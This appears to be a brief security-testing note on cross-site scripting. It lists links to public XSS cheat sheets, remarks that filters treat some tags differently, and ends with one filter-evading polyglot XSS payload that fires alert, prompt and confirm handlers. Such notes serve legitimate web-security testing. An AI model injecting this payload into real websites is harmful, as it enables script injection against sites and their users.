XSS

Cheat Sheet

• http://www.xss-payloads.com/
• https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
• https://owasp.org/www-community/xss-filter-evasion-cheatsheet
• http://seguretat.wiki.uoc.edu/index.php/XSS_Cheat_Sheet

Fuzz characters and tags

Sometimes the filter treat specific tag differently. e.g. <img>

Others

0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"